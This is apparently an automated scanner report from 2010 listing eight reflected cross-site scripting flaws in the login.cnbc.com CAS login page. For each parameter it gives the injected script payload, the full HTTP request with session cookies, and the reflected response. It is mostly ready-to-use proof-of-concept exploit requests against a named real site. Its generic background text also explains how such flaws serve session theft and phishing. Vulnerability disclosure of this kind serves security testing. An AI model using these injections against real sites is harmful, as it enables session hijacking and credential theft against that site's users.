login.cnbc.com, CWE-79, XSS, Cross Site Scripting, CAPEC-86

Cross Site Scripting in login.cnbc.com | CloudScan Vulnerability Crawler

Report generated by XSS.CX at Mon Dec 13 11:38:50 CST 2010.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. https://login.cnbc.com/cas/login [email parameter]

1.2. https://login.cnbc.com/cas/login [key parameter]

1.3. https://login.cnbc.com/cas/login [login_view parameter]

1.4. https://login.cnbc.com/cas/login [name of an arbitrarily supplied request parameter]

1.5. https://login.cnbc.com/cas/login [name of an arbitrarily supplied request parameter]

1.6. https://login.cnbc.com/cas/login [service parameter]

1.7. https://login.cnbc.com/cas/login [source parameter]

1.8. https://login.cnbc.com/cas/login [user parameter]



1. Cross-site scripting (reflected)
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://login.cnbc.com/cas/login [email parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18809"><script>alert(1)</script>4faeec2b3ee was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.net&email=test%2540fastdial.net18809"><script>alert(1)</script>4faeec2b3ee&source=register&login_view=register HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=63BC98C24585925AC8230275717AAD6C; __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; TZM=-360; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:13:46 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74711


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.net&email=test%2540fastdial.net18809"><script>alert(1)</script>4faeec2b3ee&source=register&login_view=register">
...[SNIP]...

1.2. https://login.cnbc.com/cas/login [key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the key request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6844"><script>alert(1)</script>ff607d5e29 was submitted in the key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7e6844"><script>alert(1)</script>ff607d5e29&user=test%40fastdial.net&email=test%2540fastdial.net&source=register&login_view=register HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=63BC98C24585925AC8230275717AAD6C; __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; TZM=-360; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:13:08 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74709


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
on="login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7e6844"><script>alert(1)</script>ff607d5e29&user=test%40fastdial.net&email=test%2540fastdial.net&source=register&login_view=register">
...[SNIP]...

1.3. https://login.cnbc.com/cas/login [login_view parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the login_view request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6f2b"><script>alert(1)</script>43dc1b2d03b was submitted in the login_view parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login_view=registera6f2b"><script>alert(1)</script>43dc1b2d03b HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Referer: http://search.cnbc.com/main.do?keywords=%27&sort=date&minimumrelevance=0.2&pubtime=0&pubfreq=h&categories=exclude
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_cc=true; s_nr=1292256157358; s_sq=nbcuglobal%2C%20nbcucnbcd%2C%20nbcucnbcbu%3D%2526pid%253DSearch%25257CAll%25257CAllT%2526pidt%253D1%2526oid%253Dhttps%25253A//register.cnbc.com/registerUser.do%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:12:40 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=BB96FC1BBE922C70A21E1574B7E94094; Path=/cas
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74380


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
<form method="post" name="loginForm" action="login;jsessionid=BB96FC1BBE922C70A21E1574B7E94094?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login_view=registera6f2b"><script>alert(1)</script>43dc1b2d03b">
...[SNIP]...

1.4. https://login.cnbc.com/cas/login [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21688"><script>alert(1)</script>1facd9d755f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login_view=register&21688"><script>alert(1)</script>1facd9d755f=1 HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Referer: http://search.cnbc.com/main.do?keywords=%27&sort=date&minimumrelevance=0.2&pubtime=0&pubfreq=h&categories=exclude
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_cc=true; s_nr=1292256157358; s_sq=nbcuglobal%2C%20nbcucnbcd%2C%20nbcucnbcbu%3D%2526pid%253DSearch%25257CAll%25257CAllT%2526pidt%253D1%2526oid%253Dhttps%25253A//register.cnbc.com/registerUser.do%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:13:35 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=300443CCDEEBC2EC00A21EEFE61336DD; Path=/cas
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74359


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
<form method="post" name="loginForm" action="login;jsessionid=300443CCDEEBC2EC00A21EEFE61336DD?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login_view=register&21688"><script>alert(1)</script>1facd9d755f=1">
...[SNIP]...

1.5. https://login.cnbc.com/cas/login [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a8f4f'><script>alert(1)</script>1749f42f52b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login_view=register&a8f4f'><script>alert(1)</script>1749f42f52b=1 HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Referer: http://search.cnbc.com/main.do?keywords=%27&sort=date&minimumrelevance=0.2&pubtime=0&pubfreq=h&categories=exclude
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_cc=true; s_nr=1292256157358; s_sq=nbcuglobal%2C%20nbcucnbcd%2C%20nbcucnbcbu%3D%2526pid%253DSearch%25257CAll%25257CAllT%2526pidt%253D1%2526oid%253Dhttps%25253A//register.cnbc.com/registerUser.do%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:13:36 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=D8B9F9449EB4ABE5076627DE6289EA5A; Path=/cas
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74359


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
<iframe name="regFrame" frameborder="0" class="registerFrame" style='height:800px;' scrolling="no" src='https://register.cnbc.com/registerUser.do?iframe=yes&a8f4f'><script>alert(1)</script>1749f42f52b=1&source=register'>
...[SNIP]...

1.6. https://login.cnbc.com/cas/login [service parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the service request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9017a"><script>alert(1)</script>2c98445856b was submitted in the service parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check9017a"><script>alert(1)</script>2c98445856b&login_view=register HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Referer: http://search.cnbc.com/main.do?keywords=%27&sort=date&minimumrelevance=0.2&pubtime=0&pubfreq=h&categories=exclude
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_cc=true; s_nr=1292256157358; s_sq=nbcuglobal%2C%20nbcucnbcd%2C%20nbcucnbcbu%3D%2526pid%253DSearch%25257CAll%25257CAllT%2526pidt%253D1%2526oid%253Dhttps%25253A//register.cnbc.com/registerUser.do%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:12:34 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: JSESSIONID=CA949D926D9B3BD1F5EC403ED788FC0C; Path=/cas
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74310


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
<form method="post" name="loginForm" action="login;jsessionid=CA949D926D9B3BD1F5EC403ED788FC0C?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check9017a"><script>alert(1)</script>2c98445856b&login_view=register">
...[SNIP]...

1.7. https://login.cnbc.com/cas/login [source parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab564"><script>alert(1)</script>674b3c27134 was submitted in the source parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.net&email=test%2540fastdial.net&source=registerab564"><script>alert(1)</script>674b3c27134&login_view=register HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=63BC98C24585925AC8230275717AAD6C; __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; TZM=-360; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:14:06 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74711


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
ity_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.net&email=test%2540fastdial.net&source=registerab564"><script>alert(1)</script>674b3c27134&login_view=register">
...[SNIP]...

1.8. https://login.cnbc.com/cas/login [user parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://login.cnbc.com
Path:   /cas/login

Issue detail

The value of the user request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b912a"><script>alert(1)</script>0387025dfda was submitted in the user parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cas/login?service=https%3A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.netb912a"><script>alert(1)</script>0387025dfda&email=test%2540fastdial.net&source=register&login_view=register HTTP/1.1
Host: login.cnbc.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=63BC98C24585925AC8230275717AAD6C; __qca=P0-1082571395-1289590021769; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; TZM=-360; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2010 16:13:27 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 mod_jk/1.2.19
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en-US
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 74711


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
A%2F%2Fregister.cnbc.com%2Fj_acegi_cas_security_check&login-code=TDRUEYXEDY%7C1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&user=test%40fastdial.netb912a"><script>alert(1)</script>0387025dfda&email=test%2540fastdial.net&source=register&login_view=register">
...[SNIP]...

Report generated by XSS.CX at Mon Dec 13 11:38:50 CST 2010.